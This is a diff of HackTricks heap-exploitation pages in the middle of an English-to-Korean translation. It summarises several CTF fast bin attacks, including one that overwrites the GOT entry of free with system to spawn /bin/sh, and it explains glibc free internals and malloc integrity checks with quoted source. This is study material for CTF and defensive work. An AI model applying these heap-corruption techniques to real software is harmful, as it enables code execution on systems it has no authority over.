- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
- 힙 오버플로우와 사용 후 해제 및 이중 해제가 발생합니다. 청크가 해제될 때 포인터를 재사용하고 다시 해제할 수 있습니다.
- **Libc 정보 유출**: 몇 개의 청크를 해제하면 메인 아레나 위치의 일부에 대한 포인터를 얻습니다. 해제된 포인터를 재사용할 수 있으므로 이 주소를 읽기만 하면 됩니다.
- **Fast bin 공격**: 할당에 대한 모든 포인터는 배열에 저장되므로, 몇 개의 fast bin 청크를 해제하고 마지막 청크에서 이 포인터 배열을 가리키도록 주소를 덮어쓸 수 있습니다. 그런 다음 동일한 크기의 청크를 몇 개 할당하면 먼저 정당한 청크를 얻고 그 다음 포인터 배열을 포함하는 가짜 청크를 얻습니다. 이제 이 할당 포인터를 덮어써서 `free`의 GOT 주소가 `system`을 가리키도록 만들고, 그런 다음 청크 1에 `"/bin/sh"`를 기록하여 `free(chunk1)`를 호출하면 대신 `system("/bin/sh")`가 실행됩니다.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- 한 바이트 오버플로우를 악용하여 정렬되지 않은 빈에서 청크를 통합하고 libc 정보 유출을 얻은 다음, malloc 훅을 one gadget 주소로 덮어쓰는 fast bin 공격의 또 다른 예입니다.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
- UAF를 사용하여 정렬되지 않은 빈에서 libc 주소와 PIE 주소를 유출한 후, 이 CTF의 익스플로잇은 fast bin 공격을 사용하여 제어된 청크에 대한 포인터가 위치한 곳에 청크를 할당하여 특정 포인터를 덮어쓰고 GOT에 one gadget을 기록할 수 있었습니다.
- 정렬되지 않은 빈 공격을 통해 악용된 Fast Bin 공격을 찾을 수 있습니다:
- fast bin 공격을 수행하기 전에 free-lists를 악용하여 libc/heap 주소를 유출하는 것이 일반적입니다(필요할 때).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- 우리는 `0x100`보다 큰 크기의 청크만 할당할 수 있습니다.
- Unsorted Bin 공격을 사용하여 `global_max_fast`를 덮어씁니다(ASLR로 인해 1/16의 확률로 작동하며, 12비트를 수정해야 하지만 16비트를 수정해야 합니다).
- 전역 청크 배열을 수정하기 위한 Fast Bin 공격. 이는 임의의 읽기/쓰기 원시 기능을 제공하여 GOT를 수정하고 일부 함수를 `system`을 가리키도록 설정할 수 있습니다.
{{#ref}}
unsorted-bin-attack.md

View File

@ -1,4 +1,4 @@
# Heap Memory Functions
# 힙 메모리 함수
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,93 +4,90 @@
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity)
(이 요약에서는 체크가 설명되지 않았으며 간결성을 위해 일부 사례가 생략되었습니다)
1. If the address is null don't do anything
2. If the chunk was mmaped, mummap it and finish
3. Call `_int_free`:
1. If possible, add the chunk to the tcache
2. If possible, add the chunk to the fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
1. 주소가 null이면 아무것도 하지 마십시오.
2. 청크가 mmaped된 경우, mummap하고 종료합니다.
3. `_int_free`를 호출합니다:
1. 가능하면 청크를 tcache에 추가합니다.
2. 가능하면 청크를 fast bin에 추가합니다.
3. 필요시 청크를 통합하기 위해 `_int_free_merge_chunk`를 호출하고 정렬되지 않은 목록에 추가합니다.
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`.
`Free``__libc_free`를 호출합니다.
- If the address passed is Null (0) don't do anything.
- Check pointer tag
- If the chunk is `mmaped`, `mummap` it and that all
- If not, add the color and call `_int_free` over it
- 전달된 주소가 Null (0)인 경우 아무것도 하지 마십시오.
- 포인터 태그를 확인합니다.
- 청크가 `mmaped`인 경우, `mummap`하고 그게 전부입니다.
- 그렇지 않으면 색상을 추가하고 그 위에 `_int_free`를 호출합니다.
<details>
<summary>__lib_free code</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
int err = errno;
p = mem2chunk (mem);
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a>
### \_int_free 시작 <a href="#int_free" id="int_free"></a>
It starts with some checks making sure:
다음과 같은 몇 가지 검사를 통해 시작됩니다:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
- **포인터**가 **정렬되어** 있거나 오류 `free(): invalid pointer`를 발생시킵니다.
- **크기**가 최소 크기보다 작지 않고 **크기**도 **정렬되어** 있거나 오류: `free(): invalid size`를 발생시킵니다.
<details>
<summary>_int_free start</summary>
<summary>_int_free 시작</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
check_inuse_chunk(av, p);
```
</details>
### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
먼저 관련 tcache에서 이 청크를 할당하려고 시도합니다. 그러나 이전에 몇 가지 검사가 수행됩니다. 해제된 청크와 동일한 인덱스의 tcache의 모든 청크를 반복하며:
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
- `mp_.tcache_count`보다 더 많은 항목이 있는 경우: `free(): too many chunks detected in tcache`
- 항목이 정렬되지 않은 경우: free(): `unaligned chunk detected in tcache 2`
- 해제된 청크가 이미 해제되었고 tcache에 청크로 존재하는 경우: `free(): double free detected in tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns.
모든 것이 잘 진행되면 청크가 tcache에 추가되고 함수가 반환됩니다.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
먼저 크기가 fast bin에 적합한지 확인하고, 그것을 top chunk에 가깝게 설정할 수 있는지 확인합니다.
Then, add the freed chunk at the top of the fast bin while performing some checks:
그런 다음, 몇 가지 검사를 수행하면서 freed chunk를 fast bin의 맨 위에 추가합니다:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
- chunk의 크기가 유효하지 않은 경우(너무 크거나 작음) 트리거: `free(): invalid next size (fast)`
- 추가된 chunk가 이미 fast bin의 맨 위에 있었던 경우: `double free or corruption (fasttop)`
- 맨 위의 chunk의 크기가 우리가 추가하는 chunk의 크기와 다른 경우: `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
</details>
### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
청크가 아직 어떤 빈에도 할당되지 않았다면, `_int_free_merge_chunk`를 호출합니다.
<details>
<summary>_int_free finale</summary>
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
else {
munmap_chunk (p);
}
}
```
</details>
## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
이 함수는 SIZE 바이트의 청크 P를 이웃과 병합하려고 시도합니다. 결과 청크를 정렬되지 않은 빈 목록에 넣습니다.
Some checks are performed:
몇 가지 검사가 수행됩니다:
- If the chunk is the top chunk: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
- 청크가 상단 청크인 경우: `double free or corruption (top)`
- 다음 청크가 아레나의 경계를 벗어난 경우: `double free or corruption (out)`
- 청크가 사용 중으로 표시되지 않은 경우 (다음 청크의 `prev_inuse`에서): `double free or corruption (!prev)`
- 다음 청크의 크기가 너무 작거나 너무 큰 경우: `free(): invalid next size (normal)`
- 이전 청크가 사용 중이 아닌 경우, 통합을 시도합니다. 그러나 prev_size가 이전 청크에 표시된 크기와 다르면: `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,163 +1,163 @@
# Heap Functions Security Checks
# 힙 함수 보안 검사
{{#include ../../../banners/hacktricks-training.md}}
## unlink
For more info check:
자세한 내용은 확인하세요:
{{#ref}}
unlink.md
{{#endref}}
This is a summary of the performed checks:
수행된 검사 요약입니다:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- Error message: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- Error message: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)`
- 청크의 지정된 크기가 다음 청크에 표시된 `prev_size`와 동일한지 확인
- 오류 메시지: `corrupted size vs. prev_size`
- 또한 `P->fd->bk == P``P->bk->fw == P`인지 확인
- 오류 메시지: `corrupted double-linked list`
- 청크가 작지 않은 경우, `P->fd_nextsize->bk_nextsize == P``P->bk_nextsize->fd_nextsize == P`인지 확인
- 오류 메시지: `corrupted double-linked list (not small)`
## \_int_malloc
For more info check:
자세한 내용은 확인하세요:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **Checks during fast bin search:**
- If the chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- Error message: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20;
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
- Error message: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- If the chunk size is weird (too small or too big):&#x20;
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
- If the next chunk isn't indicating that the previous is in use:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:**
- `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size`
- **빠른 빈 검색 중 검사:**
- 청크가 정렬되지 않은 경우:
- 오류 메시지: `malloc(): unaligned fastbin chunk detected 2`
- 포워드 청크가 정렬되지 않은 경우:
- 오류 메시지: `malloc(): unaligned fastbin chunk detected`
- 반환된 청크의 크기가 빠른 빈의 인덱스 때문에 올바르지 않은 경우:
- 오류 메시지: `malloc(): memory corruption (fast)`
- tcache를 채우는 데 사용된 청크가 정렬되지 않은 경우:
- 오류 메시지: `malloc(): unaligned fastbin chunk detected 3`
- **작은 빈 검색 중 검사:**
- `victim->bk->fd != victim`인 경우:
- 오류 메시지: `malloc(): smallbin double linked list corrupted`
- **각 빠른 빈 청크에 대해 수행되는 통합 검사:**
- 청크가 정렬되지 않은 경우 트리거:
- 오류 메시지: `malloc_consolidate(): unaligned fastbin chunk detected`
- 청크의 크기가 인덱스에 따라 달라야 하는 크기와 다른 경우:
- 오류 메시지: `malloc_consolidate(): invalid chunk size`
- 이전 청크가 사용 중이 아니고 이전 청크의 크기가 prev_chunk에 의해 표시된 것과 다른 경우:
- 오류 메시지: `corrupted size vs. prev_size in fastbins`
- **정렬되지 않은 빈 검색 중 검사:**
- 청크 크기가 이상한 경우 (너무 작거나 너무 큼):
- 오류 메시지: `malloc(): invalid size (unsorted)`
- 다음 청크 크기가 이상한 경우 (너무 작거나 너무 큼):
- 오류 메시지: `malloc(): invalid next size (unsorted)`
- 다음 청크에 의해 표시된 이전 크기가 청크의 크기와 다른 경우:
- 오류 메시지: `malloc(): mismatching next->prev_size (unsorted)`
- `victim->bck->fd == victim`이 아니거나 `victim->fd == av (arena)`가 아닌 경우:
- 오류 메시지: `malloc(): unsorted double linked list corrupted`
- 항상 마지막 것을 확인하고 있으므로, 그것의 fd는 항상 arena 구조체를 가리켜야 합니다.
- 다음 청크가 이전 청크가 사용 중임을 나타내지 않는 경우:
- 오류 메시지: `malloc(): invalid next->prev_inuse (unsorted)`
- `fwd->bk_nextsize->fd_nextsize != fwd`인 경우:
- 오류 메시지: `malloc(): largebin double linked list corrupted (nextsize)`
- `fwd->bk->fd != fwd`인 경우:
- 오류 메시지: `malloc(): largebin double linked list corrupted (bk)`
- **인덱스에 의한 큰 빈 검색 중 검사:**
- `bck->fd-> bk != bck`인 경우:
- 오류 메시지: `malloc(): corrupted unsorted chunks`
- **다음 더 큰 큰 빈 검색 중 검사:**
- `bck->fd-> bk != bck`인 경우:
- 오류 메시지: `malloc(): corrupted unsorted chunks2`
- **Top 청크 사용 중 검사:**
- `chunksize(av->top) > av->system_mem`인 경우:
